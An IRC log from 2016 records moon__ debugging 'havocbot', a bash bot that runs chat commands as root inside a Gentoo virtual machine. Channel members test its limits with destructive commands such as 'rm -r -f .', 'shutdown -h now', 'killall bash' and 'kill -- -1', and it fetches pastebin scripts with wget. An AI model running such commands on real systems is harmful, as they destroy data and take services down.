←2016-06-09 2016-06-10 2016-06-11→ ↑2016 ↑all
00:04:36 <moon__> gentoo live image anyone? virtualbox fixed the bug that it caused with some newer versions of the linux kernal
00:06:11 -!- FreeFull has quit (Quit: Rebooting).
00:07:39 -!- FreeFull has joined.
00:24:33 -!- havocbot has joined.
00:24:39 <moon__> yay
00:24:54 <moon__> ok.. just a moment
00:24:56 -!- havocbot has quit (Remote host closed the connection).
00:28:21 -!- havocbot has joined.
00:28:45 <moon__> havocbot: exec ls
00:29:40 <moon__> i apparently made a mistake
00:29:41 -!- havocbot has quit (Remote host closed the connection).
00:32:26 <moon__> let me try that again
00:32:32 -!- havocbot has joined.
00:32:51 <moon__> havocbot: exec ls
00:33:22 <moon__> i forgot to chmod +x the fake exec lol
00:33:25 -!- havocbot has quit (Remote host closed the connection).
00:33:48 -!- havocbot has joined.
00:33:53 <moon__> havocbot: exec ls
00:33:53 <havocbot> moon__:README
00:33:53 <havocbot> moon__:bashbot
00:33:53 <havocbot> moon__:bashbot.config
00:33:53 <havocbot> moon__:bashbot.pid
00:33:53 <havocbot> moon__:commands
00:33:54 <havocbot> moon__:filters
00:34:05 <moon__> I should shorten that
00:34:27 <moon__> back to the drawing board, unless you guys want to use it
00:34:32 <moon__> havocbot: cd
00:34:37 <moon__> havocbot: exec cd
00:35:26 -!- havocbot has quit (Remote host closed the connection).
00:37:50 <moon__> lets try again
00:37:53 -!- havocbot has joined.
00:37:59 <moon__> havocbot: ls
00:38:05 <moon__> havocbot: exec ls
00:38:41 <moon__> this time i failed at sed
00:38:44 -!- havocbot has quit (Remote host closed the connection).
00:39:29 -!- havocbot has joined.
00:39:34 <moon__> havocbot: ls
00:39:38 <moon__> havocbot: exec ls
00:39:38 <havocbot> moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters
00:39:43 <moon__> i keep making that mistake, and yay
00:40:11 <moon__> ok, im gonna leave you guys in the home directory, have fun with root privs :P
00:40:14 -!- havocbot has quit (Remote host closed the connection).
00:41:03 -!- havocbot has joined.
00:41:12 <moon__> actually, i think the chat is dead?
00:41:34 -!- spiette has quit (Ping timeout: 252 seconds).
00:41:35 <moon__> chat's dead oerjan
00:42:03 <moon__> damn tab
00:42:08 <oerjan> BRAINS
00:42:12 <moon__> oh hi
00:42:20 <moon__> what do you think of havocbot so far?
00:42:34 <oerjan> sorry, i've been otherwise occupied.
00:42:58 <moon__> havocbot: mkdir src #lets see if it cares about comments
00:43:15 <moon__> havocbot: exec mkdir src #lets see if it cares about comments
00:43:20 <moon__> i keep forgetting the exec
00:43:57 <moon__> i think i broke something again by cding out, i forgot to make it knows its own path
00:44:00 -!- havocbot has quit (Remote host closed the connection).
00:46:16 <oerjan> moon__: there does indeed seem to be a lot of havoc
00:46:23 -!- MDude has joined.
00:46:45 <moon__> lol
00:46:46 -!- havocbot has joined.
00:46:57 <moon__> havocbot: exec ls
00:47:19 <moon__> annnd i forgot something AGAIN
00:47:21 -!- havocbot has quit (Remote host closed the connection).
00:48:14 <oerjan> does it support exec rm -r . yet
00:48:21 <oerjan> vital command
00:48:38 <oerjan> sorry, exec rm -r -f .
00:48:59 -!- havocbot has joined.
00:52:28 <quintopia> does it support me
00:52:42 <oerjan> exec quintopia
00:52:47 <oerjan> havocbot: exec quintopia
00:53:05 <oerjan> looks doubtful
00:53:17 <quintopia> exec /bin/quintopia
00:53:30 <quintopia> exec /bin/oerjan
00:53:41 <quintopia> yep clearly this bot was not written with us in mind
00:53:51 <oerjan> i think the havocbot: is obligatory
00:54:01 <quintopia> havocbot: exec /bin/oerjan
00:54:08 <quintopia> havocbot: exec /bin/quintopia
00:54:36 <quintopia> havocbot: don't do anything
00:54:48 <oerjan> success!
00:55:05 <oerjan> havocbot: exec ls fnord
00:55:13 <oerjan> havocbot: exec ls
00:55:27 <oerjan> ok that command was supposed to work
00:55:47 <quintopia> havocbot: prod moon__ into explaining why you don't work
00:56:41 <quintopia> hmm could have sworn that one would work
00:56:56 <oerjan> you'd think.
00:57:19 <oerjan> pingout in 3,2,..
00:57:22 <quintopia> well. it doesn't ping out. that's something
00:58:21 -!- Kaynato has quit (Ping timeout: 250 seconds).
00:58:48 <quintopia> i think we should name the bot simon and have the command string be simon says
00:59:08 <oerjan> okay
00:59:27 <oerjan> except that's illogical.
00:59:44 <oerjan> it's not simon that performs the command, usually
01:02:25 <quintopia> figured you nitpick that
01:02:54 <quintopia> as if the commmander and commandee can't have the same name
01:05:02 <oerjan> in that case, it should be Bruce hth
01:05:54 <quintopia> hey! don't bring me down!
01:06:17 <moon__> .... il look at the logs
01:06:24 <moon__> i see what happened
01:06:30 <moon__> you made him crash
01:06:32 -!- havocbot has quit (Remote host closed the connection).
01:06:52 -!- havocbot has joined.
01:06:56 <moon__> aka you broke it
01:07:06 <quintopia> that shouldnt be possible
01:07:14 <moon__> its in bash
01:07:14 <quintopia> also bruce is actually a better name
01:07:17 <moon__> so yea
01:07:38 <moon__> also, due to lazyness, the 'exec' command actually just uses 'exec'
01:07:48 <moon__> i might make it use commands from 'bin' later.
01:08:06 <moon__> aka extend its command librayr
01:08:13 <moon__> *library
01:08:21 <moon__> so it doesnt just exec them
01:08:26 <moon__> `exec ls
01:08:28 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: exec: not found
01:08:30 <moon__> oops
01:08:32 <moon__> wrong bt
01:08:37 <moon__> havocbot: exec ls
01:08:47 -!- havocbot has quit (Remote host closed the connection).
01:08:48 <quintopia> you crashed it this time
01:08:53 <int-e> if at first you don't succeed...
01:08:59 <moon__> im working on it lol
01:09:04 <moon__> ima fix it nw
01:09:27 <quintopia> ...flood flood again
01:09:39 <int-e> moon__: I hope you spell code better than English.
01:11:26 -!- havocbot has joined.
01:11:30 <moon__> he now uses /bin as the main command dir
01:11:37 <moon__> havocbot: ls
01:11:37 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:12:00 <moon__> havocbot: cd
01:12:14 <moon__> thats not a bin command, is it? xD
01:12:57 -!- havocbot has quit (Remote host closed the connection).
01:13:06 <moon__> ok, now to add sbin support
01:17:33 <moon__> lets se..
01:17:40 -!- havocbot has joined.
01:17:50 <moon__> havocbot: cd /
01:18:02 <moon__> havocbot: ls
01:18:02 <havocbot> moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters
01:18:06 <moon__> huh
01:18:11 <moon__> ...
01:18:28 <moon__> why is gentoo pretending cd does not exist?
01:18:50 <quintopia> it isnt. you're doing something wrong
01:18:56 <moon__> ill look
01:18:57 -!- havocbot has quit (Remote host closed the connection).
01:19:04 -!- sewilton has quit (Ping timeout: 264 seconds).
01:20:10 <moon__> wait. would "$cmd" execute the command?
01:20:18 <moon__> that is contained in cmd?
01:20:55 <oerjan> moon__: cd isn't an external command, it needs to be defined in the persistently running shell.
01:21:11 <oerjan> HackEgo doesn't usefully have it for that reason.
01:21:24 <oerjan> (well across commands)
01:21:48 -!- sewilton has joined.
01:22:05 <oerjan> although someone here once made an external cd by using gdb
01:22:09 <oerjan> iirc
01:22:26 <quintopia> gdb eh
01:22:42 <oerjan> (it connected gdb to the parent process and forced it to run the cd syscall, or thereabouts)
01:23:39 <moon__> kk, ill just have it stay in ~
01:24:08 <moon__> or would adding a call to cd in the if block that figures out what type of cmmand you want work?
01:24:28 <oerjan> that should work, assuming that block is in the long-running process
01:24:58 <moon__> it is
01:25:02 -!- havocbot has joined.
01:25:08 <moon__> havocbot: ls
01:25:08 <havocbot> moon__:README
01:25:08 <havocbot> moon__:bashbot
01:25:08 <havocbot> moon__:bashbot.config
01:25:08 <havocbot> moon__:bashbot.pid
01:25:08 <havocbot> moon__:commands
01:25:09 <havocbot> moon__:filters
01:25:16 <moon__> ok, just gotta add the filter
01:25:21 -!- havocbot has quit (Remote host closed the connection).
01:26:23 -!- havocbot has joined.
01:26:31 <moon__> i beleive it is now throwing commands at the shell directly'
01:26:46 <moon__> havocbot: cd
01:26:53 <moon__> havocbot: ls
01:26:53 <havocbot> moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters
01:27:14 <moon__> ok ill try the if block extension, i just made it redundant 10 seconds ago
01:27:21 -!- havocbot has quit (Remote host closed the connection).
01:28:43 <moon__> ok, i think it should work
01:28:50 -!- havocbot has joined.
01:28:59 <moon__> havocbot: cd /
01:29:06 <moon__> havocbot: ls
01:29:06 <havocbot> moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters
01:29:09 <moon__> urgh
01:29:26 <moon__> maybe i should just make a little dir for you all to use to run the bot
01:29:30 -!- havocbot has quit (Remote host closed the connection).
01:30:16 -!- havocbot has joined.
01:30:20 <moon__> you should be in the main dir
01:30:23 <moon__> havocbot: ls
01:30:23 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:30:33 <ybden> havocbot: ls /..
01:30:33 -!- silverscream has joined.
01:30:34 <havocbot> ybden:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:30:36 <ybden> aww
01:30:39 <moon__> Ok, you can do what you all want now heh
01:30:43 <ybden> havocbot: ls /../../..
01:30:44 <havocbot> ybden:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:30:55 <moon__> its gentoo, idk if it supports that
01:31:09 <shachaf> Does it support quitting?
01:31:11 <moon__> havocbot: rm ii-1.7.tar.gz
01:31:18 <shachaf> 14:36 <moon__> Singleline
01:31:34 <moon__> its singleline, dont you see?
01:31:34 <shachaf> Oh, that's fixed, at least.
01:31:50 <shachaf> havocbot: whoami
01:31:50 <havocbot> shachaf:root
01:31:54 <shachaf> havocbot: shutdown -h now
01:32:05 <shachaf> havocbot: whoami
01:32:05 <havocbot> shachaf:root
01:32:12 <moon__> it gave you the useage (=
01:32:29 <moon__> and please dont
01:32:52 <moon__> or i will waste my time adding a ignore list
01:32:58 <moon__> havocbot: ls
01:32:58 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:33:43 <moon__> havocbot: bash rm -f ii-1.7.tar.gz #this might get around the single argument limitation
01:33:57 <moon__> .
01:34:02 <moon__> havocbot: ls
01:34:09 <moon__> i froze it
01:34:23 <moon__> bash is offically a no-no
01:34:40 <moon__> wait its taking this as lines
01:34:41 <moon__> haha
01:35:03 -!- havocbot has quit (Remote host closed the connection).
01:35:19 -!- havocbot has joined.
01:35:52 <moon__> havocbot: rm -f ii-1.7.tar.gz
01:36:29 <moon__> is there a way to bypass the single arg limitation?
01:38:58 <moon__> hello? is everyone dead or unwilling to give me a tip?
01:39:45 <Phantom__Hoover> i mean i don't know how your bot works
01:39:54 -!- Phantom__Hoover has changed nick to Phantom_Hoover.
01:40:42 <moon__> $cmd "$@" is the command call..
01:41:22 <moon__> wait leme check
01:41:23 -!- havocbot has quit (Remote host closed the connection).
01:42:11 <moon__> nope, forgot the "$@"
01:42:38 -!- havocbot has joined.
01:42:53 <moon__> havocbot: ls
01:42:53 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:43:06 <moon__> havocbot: cat bashbot.config
01:43:06 <havocbot> moon__:nick=havocbot:server=irc.freenode.net:port=6667:chans=( "#esoteric" )
01:43:46 <moon__> ok there..
01:43:54 <moon__> havocbot: cat bashbot.config | grep "nick"
01:43:54 <havocbot> moon__:nick=havocbot:server=irc.freenode.net:port=6667:chans=( "#esoteric" )
01:43:59 <moon__> havocbot: cat bashbot.config | grep -e "nick"
01:43:59 <havocbot> moon__:nick=havocbot$:server=irc.freenode.net$:port=6667$:chans=( "#esoteric" )$
01:44:05 <moon__> ..
01:44:16 <moon__> maybe i should actually use bash to do it?
01:45:10 <moon__> should i?
01:45:36 -!- ChanServ has set channel mode: +o oerjan.
01:45:49 <moon__> whats with the op oerjan?
01:46:04 -!- oerjan has set channel mode: +b *!*uid156554@gateway/web/irccloud.com/x-deybdlcjwgqyifml.
01:46:04 -!- oerjan has kicked silverscream.
01:46:23 -!- oerjan has set channel mode: -o oerjan.
01:46:46 <oerjan> moon__: silverscream = noloveinwaikiki (earlier today) = hagb4rd
01:46:54 <moon__> spammer?
01:47:03 <oerjan> troll.
01:47:29 <moon__> ah
01:47:40 <moon__> i bet he/she might try to mess up havocbot?
01:48:06 <oerjan> moon__: i bet he/she would not think of it unless you give him the idea.
01:48:19 <moon__> also, you can use wget to put files on havoc
01:48:34 <moon__> havocbot: ls
01:48:35 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:48:46 <moon__> havocbot: rm -f ii-1.7.tar.gz
01:48:56 <moon__> havocbot: ls
01:48:56 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7
01:49:00 <moon__> there
01:50:38 <moon__> also, python is preinstalled for your useage
01:51:59 <moon__> havocbot: mkdir bin
01:52:06 <moon__> havocbot: mkdir src
01:52:45 <moon__> havocbot: bash cd /
01:52:45 <ybden> havocbot: sh
01:52:51 <moon__> ybden
01:52:55 <ybden> moon__
01:53:11 <moon__> havocbot freezes when interactives are used in such a way the open a interactive set
01:53:34 <moon__> luckily havoc only has bash so you didnt make me reboot it
01:53:39 -!- hppavilion[1] has joined.
01:53:44 <moon__> hia hppa
01:53:46 <ybden> moon__: oh, sorry
01:53:52 <ybden> moon__: You might like to change how that works?
01:54:00 <ybden> havocbot: bash -c ls
01:54:00 <havocbot> ::ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
01:54:03 -!- augur has joined.
01:54:06 <moon__> havocbot: echo hi #i might need to fix something if this doesnt work
01:54:07 <havocbot> moon__:hi #i might need to fix something if this doesnt work
01:54:10 <ybden> note to self: do not do just bash
01:54:19 <ybden> moon__: no, -c is non-interactive
01:54:23 <moon__> kk
01:54:27 <ybden> just executes a command, then exits
01:54:32 <moon__> k
01:54:33 <moon__> god
01:54:35 <moon__> *good
01:54:38 <ybden> haha
01:54:40 <moon__> s/god/good/
01:54:55 <ybden> havocbot: bloop () { }; bloop
01:55:03 <ybden> havocbot: bloop () { echo test; }; bloop
01:55:10 <ybden> havocbot: bash -c 'bloop () { echo test; }; bloop'
01:55:26 <moon__> its not direct terminal. it $cmd "$@" to execute commands
01:55:38 <ybden> eh?
01:55:40 <moon__> also, nvm, sh does exist
01:55:44 <moon__> just.. its still running
01:55:50 <ybden> havocbot: pgrep sh
01:55:54 <moon__> havocbot: ls
01:55:59 <ybden> D: what
01:56:02 <moon__> i need a rebot
01:56:04 <moon__> *reboot
01:56:06 -!- havocbot has quit (Remote host closed the connection).
01:56:09 <ybden> when did that happen, moon__?
01:56:13 <ybden> s/when/why/
01:56:13 <moon__> idk
01:56:16 <moon__> i just noticed it
01:56:19 <moon__> in the lgs
01:56:23 -!- havocbot has joined.
01:56:23 <ybden> that was weird
01:56:24 <moon__> commands output and chat is logged
01:56:28 <ybden> havocbot: bash -c 'bloop () { echo test; }; bloop'
01:56:33 <ybden> havocbot: ls
01:56:33 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
01:56:40 <moon__> it is fast tho
01:56:40 <ybden> havocbot: bloop () { echo test; }; bloop
01:56:45 <ybden> moon__: certainly
01:56:46 <ybden> havocbot: ls
01:56:47 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
01:56:49 <moon__> we might need to give it mk
01:56:54 <ybden> mk?
01:56:58 <moon__> `mk
01:57:03 <HackEgo> usage: mk[x] file//contents
01:57:04 <moon__> the hackego mk
01:57:18 <moon__> hackego is also a linux bot, just slower
01:57:19 <moon__> and older
01:57:26 <moon__> and sandboxed with no network access
01:58:21 <moon__> hackego and havocbot both lack cd
01:59:06 <moon__> anyways, i cant keep havocbot up at all times, sadly
01:59:14 <moon__> its only up when im up
02:00:26 <ybden> havocbot: gcc
02:00:31 <ybden> havocbot: uname
02:00:32 <havocbot> ybden:Linux
02:00:41 <ybden> moon__: maybe make it formatted more nicely?
02:00:44 <ybden> havocbot: uname -a
02:00:44 <havocbot> ybden:Linux livecd 4.0.5-gentoo #1 SMP Tue Aug 4 05:40:35 UTC 2015 i686 Intel(R) Celeron(R) CPU N2840 @ 2.16GHz GenuineIntel GNU/Linux
02:00:50 <ybden> havocbot: lscpu
02:00:50 <havocbot> ybden:Architecture: i686:CPU op-mode(s): 32-bit:Byte Order: Little Endian:CPU(s): 2:On-line CPU(s) list: 0,1:Thread(s) per core: 1:Core(s) per socket: 2:Socket(s): 1:Vendor ID: GenuineIntel:CPU family: 6:Model: 55:Model name: Intel(R) Celeron(R) CPU N2840 @ 2.16GHz:Stepping: 8:CPU MHz: 2166.617:
02:01:06 <moon__> its in virtualbx
02:01:12 <ybden> ah, I see
02:01:19 <ybden> was wondering why i686
02:01:25 <ybden> havocbot: ls /usr
02:01:25 <havocbot> ybden:bin:i486-pc-linux-gnu:include:lib:libexec:livecd:local:portage:sbin:share:src:tmp
02:01:29 <ybden> havocbot: ls /usr/bin
02:01:30 <havocbot> ybden:2to3:2to3-2.7:2to3-3.4:[:a2p:a2x:a2x.py:aconnect:acpi_listen:addr2name:alsamixer:alsaucm:amidi:amixer:aoss:aplay:aplaymidi:apm:apmsleep:apropos:arch:arecord:arecordmidi:arpd:asciidoc:asciidoc.py:aseqdump:aseqnet:aserver:avivotool:awk:b2:b43-fwcutter:base64:basename:bashbug:bc:bjam:bzcmp:bzdiff:bzegrep:bzfgrep:bzgrep:bzip2recover:bzless:bzmore:c2ph:c89:c99:c_rehash:cal:calc_tickadj:captest:captoinfo:catchsegv:catman:chage:charde
02:01:38 <moon__> too much lol
02:01:42 <ybden> moon__: any reason why there's no gcc?
02:01:46 <ybden> havocbot: which gcc
02:01:49 <ybden> havocbot: which make
02:01:54 <ybden> or anything else like that
02:01:55 <moon__> livecd doesnt have it for no reason whatsoever
02:02:06 <ybden> /Gentoo/ livecd?
02:02:07 <ybden> wat
02:02:37 <moon__> mhm
02:02:48 <moon__> i downloaded gentoo a ln while ag
02:02:56 <ybden> out of date Gentoo? D:
02:03:08 <moon__> not tooo out of date
02:03:23 <moon__> 1-2 years ago maybe
02:03:29 <moon__> ill update to a new livecd soon
02:04:07 <moon__> also, pls do not ls /usr/bin
02:04:13 <moon__> it spams the logs
02:04:48 <ybden> moon__: you should maybe add some timeouts
02:04:55 <moon__> heh, maybe
02:05:09 <moon__> or just a command to allow people to kill a command
02:05:14 <moon__> if it runs out of hand
02:05:16 <ybden> to avoid while true; do nothing; done, and interactive things, I mean
02:05:27 <ybden> havocbot: read
02:05:30 <ybden> havocbot: ls
02:05:30 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:05:37 -!- hppavilion[2] has joined.
02:05:46 <ybden> havocbot: bash -c 'while true; do true; done'
02:05:47 <ybden> havocbot: ls
02:05:48 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:05:49 <moon__> hi hppa, again
02:05:54 <ybden> havocbot: bash
02:05:55 <ybden> havocbot: ls
02:05:55 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:06:00 <ybden> moon__: you fixed that?
02:06:03 <ybden> havocbot: pgrep bash
02:06:06 <ybden> havocbot: ls
02:06:06 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:06:08 <moon__> the commads are running reduntantly, >_>
02:06:14 <ybden> havocbot: killall bash
02:06:15 -!- havocbot has quit (Remote host closed the connection).
02:06:17 <ybden> :D:
02:06:21 <moon__> ...
02:06:34 <ybden> (:D: being combination of :D and D:)
02:06:37 <moon__> i will physically murder you
02:06:41 -!- havocbot has joined.
02:06:47 <ybden> moon__: howso?
02:06:54 <moon__> dont touch mah bot
02:06:55 <ybden> havocbot: echo $PID
02:06:55 <havocbot> ybden:$PID
02:07:02 <moon__> (=
02:07:06 <ybden> havocbot: bash -c 'echo $PID'
02:07:11 <ybden> havocbot: pwd
02:07:11 <havocbot> ybden:/root
02:07:20 <ybden> havocbot: kill -1
02:07:23 <ybden> hmm
02:07:31 <ybden> did the killall bash crash it
02:07:32 <ybden> ?
02:07:34 <moon__> n
02:07:36 <moon__> no
02:07:42 <moon__> it was used wrong, dummy
02:07:44 -!- augur_ has joined.
02:07:45 <moon__> and dont
02:07:52 <ybden> moon__: what did it do, then?
02:07:52 <moon__> or i will try to block you lol
02:08:03 <moon__> printed its help message to the terminal
02:08:06 <ybden> I don't see how that was incorrect usage
02:08:23 <ybden> havocbot: kill -l -1
02:08:28 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
02:08:28 <moon__> thats a 1
02:08:32 <moon__> nice spam
02:08:33 <ybden> havocbot: kill -- -1
02:08:33 -!- havocbot has quit (Remote host closed the connection).
02:08:33 <moon__> >_>
02:08:44 <ybden> eh, that doesn't work how I remember it
02:08:47 <ybden> also sorry
02:08:55 <moon__> *slaps ybden* nu
02:08:59 <ybden> ;_;
02:09:11 -!- havocbot has joined.
02:09:19 <moon__> you made gentoo shw the start msg again
02:09:20 <ybden> I was pretty sure that -1 was supposed to be interpreted as negative 1, not flag positive one
02:09:24 <ybden> moon__: :D:
02:09:34 <moon__> *smack*
02:09:39 <ybden> havocbot: ls -alFh /etc/motd
02:09:40 <havocbot> ybden:-rw-r--r-- 1 root root 885 Aug 4 2015 /etc/motd
02:09:43 <moon__> im very happy its a virtuall machine
02:09:53 <ybden> havocbot: >/etc/motd
02:09:54 <ybden> havocbot: ls -alFh /etc/motd
02:09:55 <havocbot> ybden:-rw-r--r-- 1 root root 885 Aug 4 2015 /etc/motd
02:09:57 <ybden> ehh
02:09:59 <moon__> do not abuse your root privs -.-
02:10:03 <ybden> havocbot: truncate /etc/motd
02:10:05 <ybden> havocbot: ls -alFh /etc/motd
02:10:05 <havocbot> ybden:-rw-r--r-- 1 root root 885 Aug 4 2015 /etc/motd
02:10:07 <moon__> or...
02:10:10 <moon__> ...
02:10:16 <ybden> moon__: I was removing the start message for you
02:10:17 -!- augur has quit (Ping timeout: 250 seconds).
02:10:23 <moon__> dont
02:10:25 <moon__> heh
02:10:25 <ybden> Also I don't get why that wasn't working
02:10:33 <ybden> moon__: wait, you /want/ it?
02:10:44 <moon__> '$cmd "$@"' is what uses cmds
02:10:51 <moon__> multiarg cmds need bash
02:10:56 <ybden> oh, right
02:10:57 <moon__> yea, dont mess with my livecd
02:11:01 <ybden> okay
02:11:07 <moon__> mess with the drive
02:11:10 <moon__> aka the home dir
02:11:13 -!- hppavilion[2] has quit (Ping timeout: 252 seconds).
02:11:32 -!- Phantom_Hoover has quit (Remote host closed the connection).
02:11:33 <ybden> moon__: er, are you sharing directories with it? D:
02:11:37 <moon__> no
02:11:37 <ybden> havocbot: ls /home
02:11:50 <moon__> ...
02:11:53 <moon__> havocbot: ls
02:11:53 <havocbot> moon__:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:11:55 <moon__> thats the main dir
02:12:11 <ybden> havocbot: which truncate
02:12:11 <havocbot> ybden:/usr/bin/truncate
02:12:13 <ybden> ehh
02:12:20 <ybden> I don't get why truncate wouldn't have worked
02:12:23 <moon__> also, deleting ii-1.7 will get you killed again
02:12:24 <ybden> havocbot: truncate foo
02:12:26 <ybden> havocbot: ls
02:12:26 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:12:28 <moon__> as that contains the bot
02:12:43 <ybden> oh, I see
02:12:51 <ybden> havocbot: file ii-1.7
02:12:51 <havocbot> ybden:ii-1.7: directory
02:12:53 <moon__> trunctuate: you must either specify --size or --reference
02:13:04 <ybden> moon__: okay, I remembered it wrong then >.<
02:13:16 <moon__> or its diff on gentoo
02:13:16 <ybden> havocbot: ls -alFh ii*
02:13:16 <havocbot> ybden:total 56K:drwxr-x--- 3 1000 1000 260 Jun 9 23:15 ./:drwx------ 5 root root 240 Jun 10 01:08 ../:-rw-r----- 1 1000 1000 2.0K Jan 5 2013 CHANGES:-rw-r----- 1 1000 1000 1.6K Jan 5 2013 FAQ:-rw-r----- 1 1000 1000 1.2K Jan 5 2013 LICENSE:-rw-r----- 1 1000 1000 1.3K Jan 5 2013 Makefile:-rw-r----- 1 1000 1000 1.9K Jan 5 2013 README:drwxr-xr-x 4 root root 180 Jun 10 00:27 bashbot-master/:-rw-r----- 1 1000 1000 733 Jan 5
02:13:19 <moon__> either one
02:13:25 <ybden> havocbot: ls ii*
02:13:25 <havocbot> ybden:CHANGES:FAQ:LICENSE:Makefile:README:bashbot-master:config.mk:ii.1:ii.c:master.zip:query.sh
02:13:41 <moon__> it contains ii, that useful lib, but i found myself not using it
02:13:59 <ybden> moon__: nah, I just used it wrong
02:14:03 <ybden> havocbot: touch me
02:14:07 <ybden> havocbot: rm me
02:14:08 <ybden> havocbot: rm me
02:14:17 <ybden> hmm, does it not redirect stderr to stdout?
02:14:19 <moon__> you removed me
02:14:20 <ybden> might want to change that
02:14:29 <moon__> for some reason, no, im looking into it
02:14:32 <ybden> okay
02:14:36 <ybden> havocbot: pwd
02:14:36 <havocbot> ybden:/root
02:14:40 <ybden> havocbot: cd *
02:14:42 <ybden> havocbot: pwd
02:14:42 <havocbot> ybden:/root
02:14:44 <moon__> if you can upload the bashbot file somewhere, go ahead
02:14:46 <moon__> cd doesnt work
02:14:56 <ybden> right, it invokes a subshell each time?
02:14:59 <moon__> mhm
02:15:01 <ybden> okay
02:15:06 <moon__> same with hackego
02:15:09 <ybden> yeah
02:15:09 <moon__> i think
02:15:11 <ybden> havocbot: "
02:15:22 <ybden> havocbot: ";cd
02:15:23 <moon__> ": command not found
02:15:34 <ybden> hmm, quoting is weird with this
02:15:40 <moon__> use bash lol
02:15:43 <moon__> or make a file
02:15:48 <moon__> mk would be usefull here
02:16:37 <moon__> anyone willing to add mk to havocbot?
02:16:43 <moon__> you can use wget to fetch it
02:18:33 <moon__> virtualbox doesnt have shared folders for gentoo as far as i know *responding to earlier message*
02:19:20 <moon__> you like havocbot ybden?
02:19:42 <moon__> `url bin/echo-p
02:19:44 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/echo-p
02:19:54 <moon__> `url bin/mk
02:19:58 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk
02:20:30 <moon__> havocbot: wget http://pastebin.com/raw/50Pts79s
02:20:41 -!- havocbot has quit (Remote host closed the connection).
02:21:01 -!- havocbot has joined.
02:21:01 -!- j-bot has joined.
02:21:07 <moon__> the terminal went out
02:21:48 <moon__> havocbot: ls
02:21:48 <havocbot> moon__:50Pts79s:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:22:24 <moon__> havocbot: bash -c 'mv 50Pts79s /bin/echo-p'
02:22:43 <moon__> it failed
02:22:48 <moon__> havocbot: mv 50Pts79s /bin/echo-p
02:23:08 <oerjan> havocbot: echo hi there
02:23:09 <havocbot> oerjan:hi there
02:23:09 <moon__> havocbot: mv 50Pts79s /usr/bin/echo-p
02:23:32 <moon__> havocbot: mv 50Pts79s echo-p
02:23:50 <oerjan> havocbot: touch hi there
02:23:53 <moon__> readonly disk >_>
02:23:53 <oerjan> havocbot: ls
02:23:54 <havocbot> oerjan:bashbot.config:bashbot.pid:bin:echo-p:hi:ii-1.7:src:there
02:24:10 <oerjan> looks to me like it takes multiple args
02:24:18 <moon__> yea, i figured that i was wrong
02:24:20 <oerjan> havocbot: rm hi there
02:24:29 <oerjan> "$@" is magical
02:24:39 <moon__> ?
02:24:48 <moon__> havocbot: wget http://pastebin.com/VkvFjPqu
02:24:57 <oerjan> it expands to the same number of strings as the original argument list
02:25:11 <moon__> havocbot: mv VkvFjPqu mk
02:25:23 <moon__> havocbot: chmod +x echo-p
02:25:30 <moon__> havocbot: chmod +x mk
02:25:39 <moon__> havocbot: ./mk test//foobar
02:25:59 <moon__> havocbot: ls
02:25:59 <havocbot> moon__:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src
02:26:08 <moon__> havocbot: mk test//foobar
02:26:22 <moon__> havocbot: bash -c './mk test//foobar'
02:26:34 <moon__> hmm
02:26:46 <moon__> havocbot: bash -c ' ./mk test//foobar '
02:26:56 <moon__> end of file error
02:28:11 <oerjan> havocbot: which mk
02:28:20 <oerjan> huh
02:28:36 <oerjan> havocbot: echo ping
02:28:37 <havocbot> oerjan:ping
02:29:09 <moon__> mk is in the main folder
02:29:15 <oerjan> hm right
02:29:17 <moon__> aka ~ or home
02:29:22 <moon__> havocbot: cat mk
02:29:32 <moon__> ?
02:29:34 <moon__> ...
02:29:39 <oerjan> havocbot: echo $PATH
02:29:39 <havocbot> oerjan:$PATH
02:29:45 <moon__> try that in bash
02:29:46 <oerjan> havocbot: bash -c 'echo $PATH'
02:29:57 <moon__> end of file error
02:30:07 <oerjan> huh
02:30:10 <moon__> leme reboot havoc
02:30:15 <moon__> then you can try again
02:30:16 <oerjan> havocbot: bash -c 'echo test'
02:30:16 -!- havocbot has quit (Remote host closed the connection).
02:30:31 -!- havocbot has joined.
02:30:34 <moon__> there
02:30:37 <oerjan> havocbot: bash -c 'echo $PATH'
02:30:42 <moon__> nope, same error
02:30:45 <oerjan> havocbot: bash -c 'echo test'
02:30:51 <moon__> error
02:30:59 <oerjan> havocbot: which bash
02:30:59 <havocbot> oerjan:/bin/bash
02:31:11 <oerjan> havocbot: ls -a
02:31:11 <havocbot> oerjan:.:..:.bash_history:.bash_profile:.bashrc:.keep:.python_history:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src
02:31:27 <oerjan> havocbot: cat .bashrc
